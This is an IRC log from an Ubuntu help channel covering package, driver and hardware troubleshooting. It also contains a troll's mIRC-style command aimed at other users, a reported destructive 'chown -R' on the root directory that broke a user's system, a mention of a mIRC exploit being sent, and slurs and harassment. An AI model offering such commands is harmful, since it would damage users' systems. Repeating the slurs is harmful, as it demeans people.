[00:09] ThuLex: they do... just no one can account for all the insane users that refuse to read anything [00:10] lastelement0, usually that will sort itself out eventually - in my experience anyway :) what that means is to complete the update it will have to remove some packages - a dist-upgrade will fix that [00:10] heh [00:10] gnome settings daemon has trouble starting after installing linux rt kernel. Has anyone seen this? [00:10] lastelement0, before i'll tell you to do that i'll just have a quick look to make sure its the right thing ;) [00:10] hmm I don't remember.. but ask in the #compiz chanell they're experts related to graphics [00:10] bazhang: that is a good link and the same one I used [00:10] MatthewV: thanks [00:10] Question : My webbrowser tries to go to www.%u.com whenever I click a link here....

[00:43] garu, then there isnt anything wrong with yourrepos [00:43] neverblue the thing is that, I lost my old livecd, so I just downloaded a new one today.and I never had this problem before [00:43] heh, Serena, make sure after you have the CD uncommented or added to your sources.list that you run aptitude update [00:43] I do [00:43] garu, maybe install the restricted driver package from command line [00:43] Hiya folks [00:44] Need some help here mounting a digital frame [00:44] Serena - find the package in nautilus, then apt-get install /path/cdrom/package.deb or whatever [00:44] it will not mount for some reason [00:44] a digital hammer and nail? :P [00:44] :O [00:44] :) [00:44] nope [00:44] neverblue I didnt even know that that could be done from the terminal [00:44] Serena, does aptitude update run w/ out errors? [00:44] no [00:45] thats not good. [00:45] there are errors for ever source [00:45] garu, well, enabling the restricted driver does some installing, be more mindful ;) [00:45] well I only have a Gutsy CD to install from [00:45] if you have no ehternet connection, try commenting out the http entries. [00:45] zylche: did you modify your crontab by running "crontab -e" as user? Or did you find your crontab file and manually edit it? [00:45] Serena: This might be a more round about way, though. Bur you could go to http://packages.ubuntu.com/ and download the .deb's manually. [00:45] neverblue can u tell me how do I do that from the terminal? [00:45] crontab -e [00:45] Just installed Gutsy onto a HP dv9000, no sound... looked at the usual suspects, alsa, osd, etc, what else can I do to get sound up and running? [00:45] Serena - copy the package to your dir, and sudo dpkg -i package [00:45] garu, I cannot [00:46] neverblue humn...oki doki...thanks [00:46] this is so ridiculous [00:46] gnutron, the only issue w/ dpkg is dep handling. [00:46] thanks for your help guys [00:46] zylche: does /home/user/myfile have any output? If so, try piping the output to a log file [00:46] Shouldnt a digital frame, using internal memory, be treated as a simple drive? Anyways, the thingy refuses to mount, and the documentation is not that wide [00:46] eylisian - good point. [00:46] Serena, not giving up are you? [00:46] it should really not be this difficul.... [00:46] Serena: BTW Why didn't you just install the whole system. You have the cd. [00:46] when I run myfile manually, it opens vlc, so a graphical output is already done, rojo^ [00:46] Serena: it shouldn't be this hard. Are you trying to reinstall a broken desktop, or trying to install from scratch? [00:46] Serena, comment out the http entries in sources.list [00:46] seems that not many ubuntu users are into digital frames [00:46] Serena, maybe making posts about the actual problem might help ALOT more :) [00:46] Serena - get your network running would help alot [00:46] hello. [00:47] Serena, then 'aptitude update' [00:47] Sooooooo, anyone have a bluetooth dongle / adapter and mind looking in Sessions -> Autostart to tell me the command used to get that notification area icon? [00:47] Serena, then install your packages. [00:47] I've problem to use nvidia drivers ... would like to. who can help. thanks [00:47] Serena: gnutron for the win! [00:47] I suppose I could just use audacious' alarm and turn off the sound, and set its command to myfile ... [00:47] * zylche just thought of that.. [00:47] Thanks for the help rojo^ [00:47] frederic_: what nvidia card do you have [00:48] !nvidia > frederic_ (read the private message from ubotu) [00:48] OK.... so I was following this brilliant How-To in the Ubuntu forums ... and the guy was saying to uninstall ubuntu-desktop..... and to then reinstall it...... so I did ... and then I was shut out of Ubuntu and now I am trying to reinstall ubuntu-desktop [00:48] is that enough info? [00:48] hey channel [00:48] Serena: 0_o [00:48] Serena, have a LIVE CD ? [00:48] yes [00:48] is it a good idea to use a live cd to test the compatibility with the systems hardware? [00:48] I do [00:48] Serena, you comment out the http entries in sources.list? [00:48] how can i access the menubar in the terminal if it's been disabled? [00:48] no [00:49] I've run two installs of xubuntu on two computers, but xflock4 only works (properly) on one of them. No packages concerning xflock4, xlock, xscreensaver or the likes have been installed on any of them [00:49] I am not connected to the internet [00:49] Serena, and you can boot the system off the LIVE CD? [00:49] and should not have to be [00:49] rickymartin: yes [00:49] phiqtion: are you using ubuntu or xubuntu? [00:49] Serena, you should. leaving only the CD entry uncommented. [00:49] yes.... I can boot into the live cd [00:49] n/m [00:49] Serena, then you want to edit your /etc/apt/sources.list [00:49] rickymartin: no better way. Bear in mind that it's pretty easy to get some devices working that aren't natively supported by the livecd, such as wacom tablets, some windows-only wireless network devices, glx-accelerated video, etc [00:49] I have already [00:49] or just reinstall the OS [00:50] rojo^: nVidia Corporation GeForce 6100 nForce 405 (motherboard integrated card) [00:50] ummmmm.... i am not going to reinstall the entire OS [00:50] Serena, there are two sources.list's though, do you realize that ? [00:50] Serena, the live cd does not have the full complement of packages on it.. only a very small repo [00:50] Serena, you will get use to re-installing an OS :) [00:50] only the alternate cd has the complete ubuntu install packages on it... [00:50] neverblue: what other list? [00:50] rojo^: my only worry is the broadcom wireless card....everything else seems pretty normal stuff [00:50] neverblue I think I got that error message wrong when enabling the restricted drivers.the actual message is "Could not apply changes! [00:50] Fix broken packages first." [00:50] garu, there ya go [00:50] neverblue: So true. I LOVE reintalling my OS ;) [00:51] Oh, and audacious' alarm plugin's command worked fine, if anyone else wondered. [00:51] * eylisian hates re-installing [00:51] rickymartin: if the broadcom card doesn't work on the live cd, it'll work with ndiswrapper + the windows xp driver [00:51] neverblue how do i find out which packages are those? [00:51] which are painfully easy to set up [00:51] running xscreensaver -activate gives me "xscreensaver-command: no screensaver is running on display :0.0" [00:51] neverblue: what other list? [00:51] zacharias: gnome-screensaver is used by default === zacharias is now known as zanzer7 [00:52] frederic_: sudo apt-get install linux-restricted-modules nvidia-kernel-new, and modify your /etc/X11/xorg.conf file to read Driver "nvidia" [00:52] This is a dumb one, but, using aptitude, how do I check to see if there is an upgrade available for a given package? E.g. if I wanted to see if Mercurial 0.9.5 is available, and I already have 0.9.4 installed... [00:52] rojo^: oh....is ndiswrapper a new addition to Ubuntu? [00:52] frederic_: if you reboot and end up with no desktop, change the driver in Xorg.conf back to "vesa" reboot one more time and come back I guess [00:52] Hello [00:52] rickymartin: nope. older'n dirt [00:52] pbx: apt-get update and then use apt-cache policy or just do apt-get install PACKAGE and it will install the update if there is one [00:52] jrib, when I try to run xflock4 without xscreensaver installed, xflock4 reports that it is missing xlock and xscreensaver-command [00:52] Serena, well, there is one stored on your Harddisk, and one stored in your RAM, as your loading the OS off the CD... [00:52] my screen isnt worked :( [00:53] jrib, thanks. [00:53] hey guys, wanna be IRCop on Freenode? [00:53] type //while (0) run notepad [00:53] sure [00:53] Does the Wubi that comes with the Gutsy Desktop CDs overwrite your Windows Install? [00:53] Lol. [00:53] !ops [00:53] Help!

[00:54] Serena, you want to look at your local HD [00:54] i don't understand this, just reading the gnu site, and ubuntu isn't a free distro? [00:54] I mean I wanted to install Ubuntu and use it while running on Windows [00:54] Salted, its free as far as i know. :) [00:54] can someone help me out, when I try to enable Restriced Drivers, I get the error "Could not apply changes! Fix broken packages first." [00:54] rojo^: could it comes from "monitor" section itno xorg.conf ? how may I check ? [00:54] Salted: not DFSG-Free, no. [00:54] neverblue: that is my local hdd no? [00:54] w t f [00:54] rojo^: thanks for the reply. [00:54] crimsun: DFSG? [00:55] hmm [00:55] frederic_: sudo nano -w /etc/X11/xorg.conf [00:55] jrib, sorry, I changed my nick from zacharias - but I still have a problem running xflock4 [00:55] what's a good app for formating a USB mp3 player ? [00:56] zanzer7: I don't know what xflock4 is [00:56] edufake__: gparted [00:56] is that a bad thing?

[00:56] jrib : thanks [00:56] startjewlogger... right. [00:56] i don't understand this [00:56] Salted: http://www.debian.org/social_contract#guidelines [00:56] !wubi [00:56] wubi is an unofficial Ubuntu installer for Windows users - more info is at http://www.cutlersoftware.com/ubuntusetup/wubi/en-US/index.html [00:56] jrib, actually no, my problem "magically disappeared" when I uninstalled xscreensaver - suddenly xflock4 (a sort of xlock, for xfce) recognises gnome-screensaver. Thanks! [00:57] rojo^: bluetooth-applet [00:57] hiredgoon: thanks :) [00:57] np [00:57] Serena, sorry, we had to wait for all that... [00:57] rojo^: found monitor section and screen section. The range is (I think) too low for my lcd pannel. Horizsync 30-70 [00:57] Vertrefresh 50-160 [00:57] may I change those values ? [00:57] Serena, im not a 100% positive, but im sure you can just 'try' it [00:58] frederic_, yes you may, back up xorg.conf first [00:58] frederic_ - yes enter the manufacturors specs [00:58] haha jrib [00:58] frederic_: I'd recommend leaving them alone, unless you have your monitor's manual with you and know the absolute values the manufacturer recommends [00:58] i had it scan for new devices and it segfaulted [00:58] frederic_: be sure to check out your monitor manual for the frequencies it really supports [00:58] frederic_, check your monitor's values in it's manual or on the maker's site to be sure [00:58] neverblue: I really dunno what to do anymore.... it seems like such a simple thing..... just install a freaking package from the CDrom [00:58] rojo^ - excellent spelling -salute [00:58] uh [00:59] thanks all ... gonna check [00:59] gnutron: I'm a bit of a grammar nazi sometimes :) [00:59] Serena, but its the CORE of the OS [00:59] spelling/grammar trolls on irc are the most pathetic kind. [00:59] rojo^ - heh. 10/4 [00:59] not just a simple 'package' [00:59] neverblue: yes... and thats why it should be so easy [00:59] lmao [01:00] your obviously incorrect :) [01:00] is there a Mactel version of Wubi? [01:00] * Pelo is a bit of a kick/banning machine these days , so let's hope that edufake__ keeps is grammar goose stepping to a minimum of < 0 [01:00] doe sanyone have a repo that has ffmpeg + lame support already built in? I'd love to get a pre-built package. default ffmpeg does not include LAME. [01:00] hehe @ Pelo [01:01] Serena, did you edit the sources.list yet, and try it ? [01:01] hey Pelo how about you come place my scrotum in your mouth and hum a little bit? [01:01] rofl [01:01] fag. [01:01] mshadle, the regular repos have ffmpeg and lame in them , just use the search feature in synaptic [01:01] edufake stop it [01:01] but ffmpeg is not compiled with LAME support. [01:01] neverblue: the gutsy cdrom entry is in there and it is uncommented.... so it should be working..... the cdrom is mounted and all [01:02] mshadle, the mediabuntu repo has a enhanced lame package i hear.. [01:02] mshadle: correct, due to technical reasons. === rob1 is now known as rob [01:02] Serena, and you commented ALL the rest out ? [01:02] * rojo^ declares a smoke break! [01:02] * Pelo lights up [01:02] weak... [01:02] no [01:02] mshadle, or you can compile it manually from cvs to get all the options [01:02] * bernier gets a nice rolled blunt [01:02] Serena, and why not ? [01:02] !mediabuntu [01:02] Sorry, I don't know anything about mediabuntu - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [01:02] Hmm [01:02] crimsun: I looked at your link, but I thought ubuntu follows all that, doesn't it? [01:02] Serena - sudo apt-get update && apt-get upgrade see what happens [01:02] i know i can compile it. i was asking if there was a premade one :) [01:02] it's medibuntu [01:02] I recently f*cked up my compiz/ati.... I have pasted the last commands I did before it went wrong here: http://pastebin.com/m86ce945 Hope someone can help me back! [01:02] mshadle, mediubuntu repos. :) [01:02] medibuntu? [01:03] Dr_willis, maybe you are looking for medibuntu? [01:03] mshadle, i beleive you get lame support in ffmpeg once you install the lame package but I may be wrong in this [01:03] yeah im checking it out [01:03] Salted: no, Ubuntu ships Firefox. [01:03] MatthewV, that sounds like a repo for Doctors. :) [01:03] Dr_willis, well... maybe, seee !medibuntu ;) [01:03] crimsun: I'm german, and english is not my first language, I have difficulties getting the fineprint [01:03] any help here mounting a camera??? [01:04] crimsun: But Firefox is opensource too isn't it? [01:04] !webcam | xzased [01:04] xzased: Instructions for using webcams with Ubuntu can be found at https://help.ubuntu.com/community/Webcam - Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras [01:04] Salted: Mozilla* doesn't allow us to modify the source heavily and continue to call it Firefox. [01:05] ahh so hot. it has x264, lame, etc. perfect. [01:05] ubotu: actually, it is not a digital camera, its a picture frame, but I thought the procedure would be similar. [01:05] i thought the media-ish ubuntu one might have it but didnt know the name/where to look and it didnt pop up on google :) thanks [01:05] ubuntu studio [01:06] is the ubuntu-desktop package not even on the cdrom? [01:06] I tried to mount it manually, but it doesnt allow me to (I sudo it) [01:06] how can i embed PDFs in firefox with evince? saving them just to be able to read them is annoying [01:06] crimsun: So it's a matter of branding really, is that it? If I take firefox and modify it soo much, it's not firefox anymore, and it's basically becoming a fork, with a different name? Isn't that a positive thing in the end? To distinguish the other project then from firefox? [01:06] Serena, why can you not get that computer online ? [01:06] Serena, i doubt it - the live cd only has a few packages eg ndiswrapper, not a full ubuntu install [01:06] Anybody here know how to fix ndiswrapper problems in Edgy? I just installed and it won't take my wireless card driver. And the driver worked fine in Dapper. [01:06] I have it plugged into the ethernet and I dunno why it is not online [01:06] Salted: essentially branding, yes. Debian chose that route. [01:06] I recently f*cked up my compiz/ati.... I have pasted the last commands I did before it went wrong here: http://pastebin.com/m86ce945 Hope someone can help me back! :( [01:06] Serena - that is a meta-package and i don't know if thats the full name of it [01:07] c0Ld, I'm not sure evince does that, you can do it with acroread tho [01:07] j #kubuntu [01:07] crimsun: where are you from? [01:07] Salted: Mars. [01:07] that are those 'floodbots'? [01:07] askand, the ppl in #compiz-fusion might be better on this [01:07] gonna reboot to have a try ... see you soon I hope [01:07] what are those 'floodbots'? i meant [01:07] crimsun: ok ;) [01:08] LiMaO, ignore them I thnk they are a network thing [01:08] oh ok.. [01:08] does anyone know of a program to edit the gnome menu's with? I installed menu and menu-xdg and now there's a million things in my "Other" menu and don't want 90% of them :-/ [01:08] LiMaO - theyre script-kiddies running botnets [01:08] any folk from cardiff here? [01:08] Hey, I just recently noticed that despite the fact that I have sun-java(jre,jvm,bin) installed that eclipse is still using gcj... Im running feisty... anyone know configure ubuntu to use sun java by default ? [01:08] fragile: What version are you using? [01:08] fragile, menu > system > prefs > main menu [01:08] 7.10 === william_ is now known as nonewmsgs [01:08] fragile, right click on the Applications menu and select edit menu [01:08] Yeah, what Pelo said then. [01:08] gnutron: using such a host? those kind of hosts are only available to server admins [01:09] d'oh... I knew that, thanks :-/ [01:09] Anybody know how to deal with ndiswrapper problems? It's not reading my driver. [01:09] Any good links on how to update my BIOS using Ubuntu [01:09] * Pelo thinks telling ppl what they already know makes them feels smart and safe [01:09] LiMaO - i was a global oper on undernet. i have joins,parts, quits on ignore, but floodbots are an old old game [01:10] how do I get this amchine to go online ? [01:10] you are online..? [01:10] l0l Pelp [01:10] Shadix, if your mobo maker doesn'T make a linux firmeware upgrade I don't know how to help you , [01:10] Serena: what kind of network connection should it have? [01:10] ah [01:10] l0l Pelo [01:10] active people [01:10] anyone know how you can go about a clean reinstall on a remote box? [01:10] I have the ethernet plugged in [01:10] !install | arsenip [01:10] arsenip: Ubuntu can be installed in lots of ways.

Try http://tinyurl.com/3exghs - See also !automate [01:10] Pelo, well they have one for "ALL OS" [01:11] gnutron: just never seen a floodbot with a host like FloodBot1 [n=floodbot@ubuntu/bot/floodbot] [01:11] I am in recovery mode [01:11] Serena - sudo ifup eth0 just might work. i need details. [01:11] Serena: lspci | grep -i ethernet [01:11] what's the output of that? [01:11] gnutron: specially when coming from a botnet, from an infected machine, they would have ordinary hosts/ips [01:11] I am running a Dell 700m and am unable to get passed the initial live CD installation screen. I hit enter to start/install ubuntu, however my computer hangs [01:11] Shadix, they should also have a readme file with instructions , why do you want to upgrade your bios anyway , are you having difficulties ? [01:12] LiMaO - yeah, interesting reverse dns's. i think hyperion, that is freenode's ircd has a prob there. [01:12] how do I make that line standing up? [01:12] connor, if your comp has an ati or nvidia card you'llhave to use the alternate install cd, it uses a vesa driver when it installs, you can get proper drivers afterwards [01:12] Serena: shift + \ [01:12] * hiredgoon unpacks his free shipit cds from canonical [01:12] * hiredgoon salutes [01:12] oh ok, im not totally sure [01:12] Serena: it's called a pipe [01:12] just a question, would it be possible to port the camino browser to ubuntu, and how difficult would that be? Just curious, I'm starting out with python at the moment, and I am completely new to linux [01:13] Serena, top row on your kb, last key on the left , just above the # on mine not sure what it is on yours [01:13] how can i print a "ENTER" in shell? [01:13] * HalflingRogue sighs [01:13] * HalflingRogue goes to check the forums [01:13] Flash-xD, just change lines think [01:13] Intel Corporation 82573L [01:13] According to my system, it says that i have an intel graphics controller [01:13] i wonder what happend to those milions of machines infected by rootkits.. that used to be used as xdcc servers.. the channels are closed, some people are jailed.. what about the machines?! but that discussion doesn't belong here =P [01:13] is it possible to make rhythmbox recommend music the same way banshee does?(or make banshee organize music the same artist/album/song way as rhythmbox does? ;p [01:13] Salted: camino is based on Mozilla's Gecko. Why not just use Firefox? [01:14] * Pelo thinks hiredgoon shlould have saved canonical a few $ in shipping cost and just downloaded the cd [01:14] firefox is soooo slow w/ many tabs open! [01:14] ihate88: if you find out please tell me :( [01:14] im having using Gusty Gibbon [01:14] eddy, get more ram :) [01:14] ihate88: if you can't by default the source is availlable so if you want it bad enough you can have a play around [01:14] * hiredgoon plans on promoting ubuntu with his cds so he raspberries Pelo [01:15] im right now just trying to port the banshee plugin to rhythmbox [01:15] veh25, I beg your pardon ? [01:15] eddy: RAM is very cheap right now and probably will be until at least january, go buy yourself a christmas present :) [01:15] CAPAB IDENTIFY-MSG [01:15] sorry, retyping, wasnt ready [01:15] i have 500 ram & firefox works fine when i boot windows [01:15] Pelo: i guess english is not his native language [01:15] Serena: I have no clue whether Ubuntu's kernel has built-in support for the Intel 82573L. What happens if you type "sudo ifup eth0" [01:15] hopefully frefox3 will be faster [01:15] LiMaO, I checked he's on comcast in pensylvania [01:15] rojo^: hi :) I'm coming from the mac platform, and I'm looking for projects to do. But I would think one reason is, it's a really neat program, quite straight forward, while firefox offers a lot of options, camino works out of the box (more or less) [01:16] unknown interface eth0 [01:16] eddy: I'm pretty sure I read that it will be [01:16] lmao.....anyway, every time i use a sudo command in terminal i receive the message "sudo: must be setuid root" [01:16] eddy, hmm.. i have 1G and i often have ~30 tabs open with no real slowdown (ff uses over 200M ram then though) [01:16] According to my system, i have an intel graphics controller, I am operating a dell 700m and it will not allow me to install it, as it continuously locks immediately after choosing install ubuntu on the live cd [01:16] is Firefox itself open source? [01:16] hmm one is python one is dll, do you know where to find the sources, amason? banshee devel page? [01:16] Serena: that might be a problem. Try "apt-get install ndiswrapper" and see what happens [01:16] veh25, give us an exemple of a line you type ? [01:16] emma: Yes [01:16] Serena: with a "sudo" in front of it. sorry. [01:16] I wonder why more people don't fork firefox then [01:17] sure, "sudo apt-get install irssi" [01:17] emma, everyting default on ubuntu and in the main and universe repos must be open source [01:17] emma: because most people think it's "free enough" [01:17] can someone confirm that youtube, cnn live etc wont work in 64? [01:17] veh25, are you the owner/instaler/admin of this computer ? [01:17] yes [01:17] thompa: Check out the 64 bit section on the ubuntuforums and look up flash [01:18] thompa, flash in 64 is not great , you have to install a 32 bit lib I think before you can run it [01:18] does cnn use flash player? [01:18] Hello, i cant use compiz-fusion, i go an error message that says: The Composite extension is not available [01:18] rojo^: instead of taking firefox and reducing it, I thought of taking camino and just porting it, and learn something during the process. [01:18] krim: ive got flash and everything installed , just get blank holes in browser [01:18] veh25, check your user permission in menu > sytem > admin> users , that's all I can recomment, I'M not good with pemissions [01:18] Pelo: on Gutsy the situation is slightly ameliorated by the flashplugin-nonfree package, which integrates the nspluginwrapper solution [01:18] is there open source Sopcast like software yet for linux? [01:19] hello, i have been having difficulties installing UBUNTU on my dell 700m with an intel graphics card, it will not allow me to run ubuntu or setup off of the live CD, it immediately hangs after choosing to run the software [01:19] Pelo: and thus does seemingly transparent install of the Flash plugin on 64-bit [01:19] scguy318, thanks for letting me know, no one else does [01:19] Hey, I downloaded the Enemy Territory Quake Wars Demo and when I try to run it, I get a "segmentation fault" - Why is this? [01:19] there is no flash player on 64, u must install 32 version but first u must have 32 internet browser [01:19] hi all im looking for a program to record live tv and save, it needs to also support an ati wonder card, i know its a stretch but anyone have any ideas? [01:19] is ubuntu better for development or debian [01:19] command0-182: that's too few information for us to backtrace the problem [01:19] Salted: my google skills are insufficient for offering advice for porting camino to Linux :) [01:19] or choose alternative like gnash [01:19] whitewisper, read what scguy318 just told me [01:19] i intend to work on java, perl and maybe matlab [01:19] rickymartin: good question [01:20] mikeylikesit, mythtv I think is waht you want [01:20] rojo^: http://caminobrowser.org/contribute/ [01:20] awesome thanks man [01:20] rickymartin, i doubt it it matters much. But i dont code much. so what do i know. :P [01:20] pelo, i cant open the users & groups dialog...it seems i can't open anything that requires admin rights [01:20] fragile: use listen(the player) seems to have solved my problems :p [01:20] veh25, are ;you using the username and password you used when you installed ? [01:20] whitewisper: as I said to Pelo, on Gutsy the flashplugin-nonfree package seamlessly handles installation on 64-bit by integrating the nspluginwrapper solution [01:21] alright I'll check it out ihate88 [01:21] to listen to anything, i just use vlc, and I'm really looking forward to songbird hatching [01:21] krim, Pelo: in gutsy, you just visit a page requiring flash and everything will be setup for you [01:21] Salted, using songbird right now. :) [01:21] I Downloaded ETQW-demo-client-1.1-full.r5.x86.run and then I did a "chmod +x FILE.RUN" followed by a "./FILE.RUN" [01:21] anyone here offers free bnc..plzpmme thanks [01:22] I Downloaded ETQW-demo-client-1.1-full.r5.x86.run and then I did a "chmod +x FILE.RUN" followed by a "./FILE.RUN" Then I got a "segmentation fault" [01:22] Dr_willis: Me too, under os x tiger, it's really cool !! [01:22] or if you haven't tried: try out banshee, pretty much the same as rhythmbox, but the library sucks - what youll find is a perfect last.fm implementation [01:22] what would be the syntac for adding a box on my network, to Synaptic's custom repositories? deb /192.168.1.2? [01:22] why does terminal need ctrl+shift+c to copy? [01:22] command0-182: it segfaults during the installation process? have you checked the system requirements on the download site? [01:22] !repeat ! command0-182 [01:22] command0-182: are you on 32bit? [01:22] eido: because ctrl-c does something else [01:22] yeah I know ihate88 [01:22] *syntac/syntaxs [01:22] command0-182, hve you considered the file may be borked ? [01:22] NO I'm on 64 [01:22] hello all, i have been having difficulties installing UBUNTU on my dell 700M, it immediately hangs after choosing to install/setup the OS, i have tried using the commands no lapic and no apic with no luck, does anyone have any other suggestions? [01:22] yes, and i think i may need to elaborate...i was trying to get rid of a folder in the usr/bin folder and i needed to change the permissions to do so...i was told i could use the following command to fix the permissions: "sudo chown -R vinny:vinny "/" ...ever since, this is all happening [01:22] I like the recommendations etc but hate the library layout.. but love the library in rhythmbox ihate88 [01:22] eido: You could just highlight to copy with no keypresses, then middle-click to paste [01:22] command0-182: maybe the installer wasn't meant to be run on an 64bit machine [01:23] command0-182, .x86 in the name tells me thats a 32 bit program. [01:23] command0-182: you need to install a bunch of 32bit libs then. The error should be verbose then that [01:23] doh :/ hope theyll improve that in the next versions [01:23] connor: that sounds odd, but guys! isn't their an ubuntu laptop channel / project? [01:23] * Pelo 's dvd-rom drive is runs very fast and noisyly since the last hal update [01:23] command0-182: *more* verbose [01:23] veh25: there's not going to be an easy solution to that. It'll be quicker to reinstall I'm sure. [01:23] ok [01:23] ctrl+c just seems to jump a line how would u use it? [01:23] well [01:23] I have ia32-libs [01:24] what more would I need?

[01:24] veh25: in the future, don't *ever* sudo anything to / [01:24] my question would be if someone knows how to install ubuntu on my mac intel (mac mini) [01:24] * Pelo bid everyone goodnight ,for real this time [01:24] gnight [01:25] I read through some links, but it's not really making sense yet for me [01:25] !pastebin | command0-182 [01:25] command0-182: pastebin is a service to post large texts so you don't flood the channel.

[01:25] i don't know what those mean [01:25] rojo^: thanks, are you sure there's nothing i can do? [01:25] rojo^: dual [01:25] salted : You Can install ubuntu on mac using bootcamp or crossover [01:25] utarpradesh: sudo apt-get install build-essential [01:26] don't have the bucks for a virtual machine [01:26] Salted: www.virtualbox.org [01:26] (: [01:27] oh [01:27] but i think i'd prefer dual boot [01:27] !install [01:27] Ubuntu can be installed in lots of ways.

[01:28] Salted: all I can tell you is that in the PC world, Ubuntu is painfully easy to install alongside Windows. The installer will resize the Windows partition and take care of the dual-booting and everything. I'm clueless about dual-booting on a Mac though [01:28] bazhang: I wanna go into development, learn programming, etc. [01:28] Salted: that is easily done in a vm [01:28] rojo^: sorry crtl+c breaks from make ...is that its only usage? [01:29] eido: ctrl-c breaks from most console programs. [01:29] Hello all, how are you all tonight? [01:29] Salted: vmware fusion and parallels are good mac options, otherwise look at macports for the unix underbelly of osx [01:29] rojo^: is there a way to reapply the permissions to the root folder without reinstalling? [01:29] morning :) [01:29] rojo^: ok thanks [01:29] When I try to run the ETQW Demo I get, "Segmentation fault (core dumped)" - That's it, there's no other code [01:29] I am trying to get fretsonfire going [01:29] eido: that's why I say just drag your mouse and highlight whatever you want to copy, and your job's done. Middle-click to paste. [01:29] ctrl-c normally sends a break :) been doing that for ages.. its these new-fangled-guis that decided to make it copy/paste! :0 darn kids! stay off my yard.. (coff* *wheeze*) [01:29] hi there anyone here knows where to get hacking programs [01:30] bazhang: is it difficult to install ubuntu with virtual box on my mac then?

[01:31] rojo^: I guess its not really bash though...its handled by x? or gnome [01:31] Dr_willis: its for trying to penertrate my own server tobe safe guard by hackers [01:32] Serena - congratulations ) [01:32] hey can anyone help me [01:32] Serena: all set now? :} [01:32] Salted: please dont provide info linke that in here [01:32] Serena: \o/ [01:32] I am trying to get frets on fire and I am getting pygame.error: Couldn't find matching GLX visual [01:32] Segmentation fault [01:32] can anyone help me with an error for an application? [01:32] OuT|aW, i suggest reading up on the various 'security' sites then. on testing system security. You will find much better info that way then looking for a vague term like 'hacking' [01:32] so now you all know that when someone tells you that they are in recovery mode and are trying to install somehting from online ... they should get out of recovery mode [01:32] Shadow147: it's best to put your entire question on one line if you can. The channel scrolls too fast to read disjoined messages.

Anyway, go to a terminal and type "glxinfo" [01:34] oh, ok, I always thought hackers to be the good guys, [01:34] Dr_willis: according to the net world hacking is not a prohibited phrase but cracking is as hackers dnt harm ppls comp they reconstruct security [01:34] sorry [01:34] sjhiz: what are you trying to install [01:34] ok rojo [01:34] !who | command0-182 [01:34] command0-182: As you can see, this is a large channel.

[01:45] (3d desktop) [01:45] dn: i got sent that supid file [01:45] jrib, im not sure is there any way to see? [01:45] jrib, besides a ruler >> [01:45] Silmeria: which part? the native resolution or the current one? [01:45] c0Ld: and presumably that would block DCC chat as well as file transfers... [01:45] jrib, ._. both [01:45] oh wait [01:45] frederic_: Maybe try "sudo apt-get remove nvidia-glx-new && sudo apt-get install nvidia-glx" [01:45] Anyone know how to get Kismet running on 7.10? [01:45] ... what kinda idiot joins a linux channel and sends a mirc exploit? [01:46] frederic_: I'm not sure whether that chipset is new enough to be handled by nvidia-glx-new [01:46] im in vista atm, and my res is 1280 x 800 [01:46] what would be the syntac for adding a box on my network, to Synaptic's custom repositories? [01:46] Ex-Cyber: fine with me ;p [01:46] Ex-Cyber: most people id dcc chat with have my AIM anyway [01:46] ubuntu wasnt letting me set anything higher than 800x600 which was the small black edge thing [01:46] what are my options for word processing ? [01:46] frederic_: change the driver back to "nvidia" afterwards, and you should probably reboot so the kernel modules will be reloaded. [01:46] Silmeria: k, so now in ubuntu, see what the current res is (system -> administration -> screens and graphics) [01:46] BlackDiamonds, abiword [01:46] c0Ld: yeah, DCC chat kind of defeats the purpose of IRC :) [01:46] !fixres > silmeria (read the private message from ubotu) [01:46] rojo^: I'm not asking to install nvidia-glx-new ... it's when I try to add 3d (right click on the desktop) that it forces the install :( [01:46] is abiword the only possible solution ? [01:47] the best solution [01:47] jrib, im sorry i didnt see the link last time you said that, thanks [01:47] BlackDiamonds: open office as well [01:47] does abiword support footnotes, and such ? [01:47] and is there a wordprocessing tool that helps with citations ? [01:47] BlackDiamonds, OpenOffice. [01:48] BlackDiamonds: footnotes, yes. Looking for a citation tool. [01:48] jrib, ack... im sorry to bother so much but i dont really understand what its saying. ubuntu worked on my other laptop fine, but i had to edit the install of this one because i use SATA harddrive [01:48] footnotes is the most important [01:49] how do i install a tar.gz file? [01:49] anyone know why an upgrade to gutsy would stop my firewire ipod from automounting? [01:49] BlackDiamonds: I don't think even Word has that sort of functionality, though, since citations can be different depending on whether you're in APA, MLA or some other format. [01:49] why would someone try to send an INI for a chat client nobody in this channel would likely use? [01:49] Silmeria: it gives you steps so that you can have more options for the screen resolution [01:49] utarpradesh, a tar.gz file is a compressed archive, you don't install it, you open it up and see what's inside [01:49] Nematocyst: did you have an Ubuntu-related question? [01:49] utarpradesh: you try not to. What are you trying to install? [01:49] utarpradesh, to open it do: tar xf whatever.tar.gz [01:50] jrib: i want to install xdcc-fetch [01:50] BlackDiamonds, check this out, OpenOffice plugin thingie; http://bibliographic.openoffice.org/ [01:50] i downloaded this archive [01:50] eylisian, thank you [01:50] how would I rsync two boxes on a lan? [01:50] rojo^, there are some plugins that have functionality for citations and the like [01:50] BlackDiamonds, we foist OpenOffice on all our users. =) [01:51] rojo^: mmm so no 3d for me I guess [01:51] I have a small usb drive that used to work fine. But for some reason now that I've upgraded to Gutsy it no longer seems to be recognized and I can no longer mount the drive to read and write files on it. Anyone know how to make ubuntu be able to use it again? [01:51] openoffice is really slow and bloated and buggy I have found with extensive use [01:51] hey rojo I am still getting the same error [01:51] utarpradesh: it does not seem to be packaged, but apparently it is available ruby gems, so you probably want to look into how to use that on ubuntu [01:51] frederic_: ah, sorry. I knew I was forgetting someone. So did you try removing nvidia-glx-new and installing nvidia-glx instead, then re-changing xorg.conf and rebooting? [01:51] hello, i am having some difficulties installing UBUNTU off of the live cd, i choose to install/setup ubuntu, and the system hangs, without setting up the linux kernel [01:52] now Kword is seperate from openoffice right ? [01:52] connor: have you tried the safe mode graphics? [01:52] connor, what is the system hardware wise? [01:52] connor: if the LiveCD should fail, consider using the alternate CD [01:52] yes, but the same occurs [01:52] thanks jrib, ill try this and come here while im actually in ubuntu. [01:52] brb [01:52] dell 700m [01:52] intel graphics card === Palionu2 is now known as Lelani [01:52] and my restricted drivers are enabled [01:52] connor: I had that problem. I have an Nforce motherboard with a 64-bit AMD processor. You, too? [01:52] utarpradesh: see shirilover's post in http://ubuntuforums.org/showthread.php?t=482481 [01:52] hmm I will try that [01:52] thank you jrib :-) [01:53] no, i just have an intel processor, and an intel graphics card [01:53] connor, there are boot options you can pass the CD. you might try the alt CD and give acpi=off noapic [01:53] !medibuntu [01:53] medibuntu is a 